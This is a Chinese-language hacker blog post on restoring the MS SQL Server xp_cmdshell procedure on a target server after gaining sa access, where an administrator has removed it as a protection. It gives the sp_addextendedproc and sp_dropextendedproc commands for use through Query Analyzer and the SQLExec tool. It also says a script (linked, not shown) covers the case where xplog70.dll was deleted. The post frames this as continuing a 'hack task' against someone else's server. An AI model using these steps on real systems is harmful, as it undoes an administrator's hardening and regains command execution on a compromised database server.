最近需要用到這些東西的時候,發現自己有點記不清了,這真是人老了做什么都不行了。沒辦法,只好在自己的blog上總結一下吧。使用sqlexec加管理員的過程這里冰血就不涉及了。
前提需要工具:sql query analyzer和sqlexec sunx version
第一部分:
有關去掉xp_cmdshell來保護系統的分析總結:
首先知道一下語句:
1.去掉xp_cmdshell擴展過程的方法是使用如下語句:
code: 
if exists (select * from dbo.sysobjects where id=object_id(n'[dbo].[xpcmdshell]') and objectproperty(id,n'isextendedproc')=1)
exec sp_dropextendedproc n'[dbo].[xp_cmdshell]' 
2.添加xp_cmdshell擴展過程的方法是使用如下語句:
code: 
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' 
現在看看現象:
我們在取得sa權限后遠程用sqlexec執行cmd命令,出現提示sql_error,那么很可能是去掉了xp_cmdshell。
現在來看看被去掉xp_cmdshell后恢復的兩種方法:
方法一、使用sql query analyzer連接對方后直接寫入,挺方便
code: 
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' 
方法二、使用sqlexec sunx version
首先在sqlexec sunx version的format選項里填上%s,在cmd選項里輸入
code: 
sp_addextendedproc 'xp_cmdshell','xpsql70.dll' 
或者對sql2000情況下使用
code: 
sp_addextendedproc 'xp_cmdshell','xplog70.dll' 
另外使用sqlexec sunx version來去除xp_cmdshell的方法
和加的時候選擇條件一樣,然后輸入
code: 
sp_dropextendedproc 'xp_cmdshell' 
就可以了
第二部分:
假如對方已經把xplog70.dll刪除或者改了名,我們來用下面的方法繼續我們的hack任務:
當出現如下現象暗示代表很有可能是xplog70.dll刪除或者改了名。
在查詢分析器中寫入
code: 
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' 
提示
數據庫中已存在名為'xp_cmdshell'的對象
那么我們如何恢復呢?
其實按照高手lcx提供的方法,我們可以通過使用查詢分析器中寫腳本來實現。
具體腳本源代碼請點擊連接獲得。
新聞熱點
疑難解答